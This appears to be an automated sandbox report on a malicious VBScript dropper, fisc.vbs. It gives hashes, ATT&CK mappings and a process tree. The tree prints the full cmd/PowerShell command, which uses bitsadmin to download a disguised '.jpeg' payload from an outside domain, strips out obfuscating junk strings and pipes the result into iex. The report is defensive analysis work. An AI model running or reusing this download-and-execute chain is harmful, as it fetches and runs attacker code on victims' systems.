7a61ca9db96a39902028ef7bc8eedc68bb82bbdce3d86959c818373535d91061

Target

fisc.vbs
Size

607B
MD5

7e9280027235462727a9a351429725c6
SHA1

380f1b3eeb2779a4359e4ca52471273983ed684c
SHA256

11a9b5a24b628be56d2d2bedf1ed71f05114c2f670cd1814ff8f8ff222cd801a
SHA512

7e31dcff6590b79476bb9bedd73145b9acafea62202d8defdd12608eae4cf727dce8781b83cd14d51432f2989bc6376c0a5bb8a114397c504a1ea4d519b4e060

Score

3^/10

Malware Config

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

pid	Process
1776	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1088	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1088	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1836 wrote to memory of 1732	1836	WScript.exe	28
PID 1836 wrote to memory of 1732	1836	WScript.exe	28
PID 1836 wrote to memory of 1732	1836	WScript.exe	28
PID 1732 wrote to memory of 1088	1732	cmd.exe	30
PID 1732 wrote to memory of 1088	1732	cmd.exe	30
PID 1732 wrote to memory of 1088	1732	cmd.exe	30
PID 1088 wrote to memory of 1776	1088	powershell.exe	31
PID 1088 wrote to memory of 1776	1088	powershell.exe	31
PID 1088 wrote to memory of 1776	1088	powershell.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fisc.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1836
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -c "&{bitsadmin /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg; $ah=gc C:\Users\Admin\AppData\Roaming\production.jpeg; $ah -replace 'rfkvkhyy|wvgpmnbgx|xhbtegpohq|evvdwlxcd|gisofqvjp|edvdpyzc|uqbykfuhv' |iex }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "&{bitsadmin /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg; $ah=gc C:\Users\Admin\AppData\Roaming\production.jpeg; $ah -replace 'rfkvkhyy|wvgpmnbgx|xhbtegpohq|evvdwlxcd|gisofqvjp|edvdpyzc|uqbykfuhv' |iex }"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1088
  - - C:\Windows\system32\bitsadmin.exe
      "C:\Windows\system32\bitsadmin.exe" /transfer orhwgxcl https://jopkerto.tech/avatar/6735/production.jpeg C:\Users\Admin\AppData\Roaming\production.jpeg
      4⤵
      Download via BitsAdmin
      PID:1776

Initial Access

Execution

Persistence

BITS Jobs

Privilege Escalation

Defense Evasion

BITS Jobs

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1088-58-0x000007FEF2730000-0x000007FEF3153000-memory.dmp

Filesize
10.1MB

Download
memory/1088-59-0x000007FEEED90000-0x000007FEEF8ED000-memory.dmp

Filesize
11.4MB

Download
memory/1088-60-0x00000000025A4000-0x00000000025A7000-memory.dmp

Filesize
12KB

Download
memory/1088-62-0x00000000025AB000-0x00000000025CA000-memory.dmp

Filesize
124KB

Download
memory/1836-54-0x000007FEFBB11000-0x000007FEFBB13000-memory.dmp

Filesize
8KB

Download